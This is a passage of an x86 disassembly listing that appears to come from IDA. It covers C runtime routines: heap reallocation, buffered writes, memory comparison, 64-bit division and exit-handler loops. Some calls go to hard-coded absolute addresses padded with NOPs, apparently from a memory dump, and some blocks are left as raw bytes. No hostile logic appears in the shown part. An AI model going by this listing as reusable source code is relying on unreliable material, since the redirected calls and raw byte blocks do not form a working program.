		and	byte ptr [eax],	0


loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------


loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41944A:				; CODE XREF: sub_4193FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	loc_41958F


loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, dword_4CF020
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi


loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h


loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542


loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi


loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2720000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi


loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h


loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567


loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi


loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2830000h
		mov	edi, eax


loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588


loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	dword_4CDA14, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------


loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi


loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, dword_435EB4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------


loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi


loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h


loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588


loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	dword_4CF024
		call	near ptr 2720000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi


loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2830000h
		mov	edi, eax


loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588


loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	dword_4CDA14, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------


loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi


loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	short loc_4196EA


loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	dword_4CDA14, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA


loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax


loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------


loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------


loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax


loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------


loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE


loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------


loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx


loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5


loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------


loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1


loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]


loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------


loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi


loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26B0390h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		call	near ptr 267036Ah
		nop
		push	eax
		call	sub_41EF44
		pop	ecx


loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	dword_4CD9B4, 0Dh
		mov	dword_4CD9B8, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------


loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6


loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi


loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi


loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A


loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D


loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------


loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh


loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0


loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax


loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F88+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3


loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9


loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	dword_4CDA48, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3


loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------


loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jnz	loc_419AB2
		nop
		call	near ptr 267036Ah
		cmp	eax, 7Ah
		jz	short loc_419A44


loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, off_433C70
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax


loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C


loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------


loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	dword_4CDA48, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4CDA58
		nop
		call	near ptr 2640000h
		cmp	eax, esi
		jz	short loc_419A35


loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax


loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_433C3C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73


loc_419AC3:				; CODE XREF: ___:00419ABFj
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_419B07
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: sub_419CDA+1Cp
					; sub_41D4FC+3438p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: ___:00419AEDp
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4CD9FC, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		call	near ptr 2790D2Fh
		nop
		push	eax
		nop
		call	near ptr 27E09D1h


loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4CD9F8, edi
		mov	byte_4CD9F4, bl
		jnz	short loc_419B78
		mov	eax, dword_4CF03C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, dword_4CF038
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66


loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax


loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, dword_4CF03C
		jnb	short loc_419B53


loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi


loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx


loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	dword_4CD9FC, edi
		call	near ptr 77E75CB5h
		nop


loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: ___:00419ACDp
					; ___:00419ADCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax


loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 27D0C40h
		test	eax, eax
		jnz	short loc_419BD0
		nop
		call	near ptr 267036Ah
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------


loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax


loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
		dd 0E1820309h, 1667BC13h, 8740938Fh, 6422052Eh,	0A1h, 89645000h
		dd 25h,	58EC8300h, 89575653h, 98E8E865h, 9002427Fh, 0D48AD233h
		dd 0D9CC1589h, 0C88B004Ch, 0FFE181h, 0D890000h,	4CD9C8h
		dd 308E1C1h, 0C40D89CAh, 0C1004CD9h, 0C0A310E8h, 33004CD9h
		dd 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah,	59000000h
		dd 0E8FC7589h, 5967h, 427F2CE8h, 2CA39002h, 0E8004CF0h
		dd 5825h, 4CDA00A3h, 55CEE800h,	10E80000h, 0E8000055h
		dd 0FFFFFE3Ch, 8DD07589h, 9050A445h, 426377E8h,	54A1E802h
		dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h
		dd 9C75FF50h, 0E8905656h, 2316F54h, 49F7E850h, 4589FFFFh
		dd 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh, 0E8515098h
		dd 52DFh, 8BC35959h, 75FFE865h,	0FE1CE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; ___:0041F1D5p ...

arg_0		= dword	ptr  4

		cmp	dword_4CDA08, 1
		jnz	short loc_419CE8
		call	sub_41F84C


loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	off_433C60
		pop	ecx
		pop	ecx
		retn
sub_419CDA	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4CDA083Dh, 5750100h,	5B3FE8h, 2474FF00h, 5B6FE804h
		dd 68590000h, 0FFh, 0A5BF94E8h
		db 77h,	90h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172B0+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
